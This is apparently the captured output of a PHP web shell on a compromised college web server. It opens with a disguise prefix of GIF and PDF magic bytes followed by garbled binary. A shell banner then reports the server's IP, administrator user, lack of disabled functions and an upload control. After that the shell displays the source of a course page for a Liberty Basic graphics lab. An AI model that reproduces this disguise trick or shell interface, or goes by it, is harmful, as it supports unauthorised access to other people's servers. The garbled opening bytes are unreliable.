GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1794/ |
Upload File : |
<? // CST1794/Lab14.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = "14"; $assignmentType = "Lesson"; $assignmentTitle = "Creating Database Tables"; //$evaluationNumber = ""; $evaluationType = "Lab"; //$evaluationTitle = ""; if (!isset($evaluationTitle) || $evaluationTitle == "") { $evaluationTitle = $assignmentTitle; } if (!isset($evaluationNumber) || $evaluationNumber == "") { $evaluationNumber = $assignmentNumber; } if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; } if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; } if ($evaluationTitle != '') $evaluationTitle = ': '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); ?> <fieldset><legend>Personalized Instruction</legend><span class="normal"> <ol start="1"> <li>Create a <b><?=$evaluationName?></b> folder inside of your <b>CST1794</b> folder and keep all files created, modified, or used in this lab there (CST1794/<?=$evaluationName?>)</li> <li>Write a program called <b><?=$evaluationName?>.bas</b> to perform the following:</li> <pre class="code">'<b> StudentNameGoesHere</b> ' Lab14 ' Write a computer program to: '1. Display a window named Lab14 with a WindowWidth = 500 and WindowHeight = 500. '2. Set backcolor black. ' Set horizscrollbar off. ' Set vertscrollbar off. ' fill the background with black. '3. Display a blue circle radius 50 that has its center 100 up from the home position. '4. Display a green elipse width 120 height 80 that has its center 100 left from the home position. '5. Display an orange circle radius 50 that has its center 100 down from the home position. ' Note: Color does not recognize 'orange' so you must use the RGB codes. ' The RGB code for orange is 255 127 0. '6. Display a red box 100 on each side that has its center 100 right from the home position. ' Note: That the circlefill and elipsefill commands automatically draw the shape centered on the current position. ' The boxfill command does not. It starts at the current position and goes to the X and Y location you specify. ' This means you have have to get the current location and then add 100 to each for the boxfill. '7. Place the following command lines after the code that displays the shapes in steps 3 through 6. ' Replace #graphWin with the handle name you used to open the window. ' They will place a small white circle in the center of each shape. ' If they are not displayed in the center of each shape then you did something wrong. print #graphWin ,"home; north; up; go 100; size 1; color white; down; circle 3" print #graphWin ,"home; north; up; turn 270; go 100; size 1; color white; down; circle 3" print #graphWin ,"home; north; up; turn 180; go 100; size 1; color white; down; circle 3" print #graphWin ,"home; north; up; turn 90; go 100; size 1; color white; down; circle 3" print #graphWin ,"FLUSH" </pre> NOTE: The program instructions above are written as <a href="dn/lb403win.exe">Liberty Basic v4.03 (lb403win.exe)</a> comments and may be copied directly into your program. </li> <li>The first program line must be a comment with your name. If you copied the comments above into your program then replace <b>StudentNameGoesHere</b> with your name. <li>The second program line must be a comment to identify the program as <b>Lab14</b>. If you copied the comments above into your program then this is already done. <li> Submit the Lab for evaluation. <ol type="1"> <li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li> <li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li> <li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li> </ol> </li> </ol> Below is an example of the output from the program.<br /> <img src="Lab14.png" alt="Lab14" /> </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>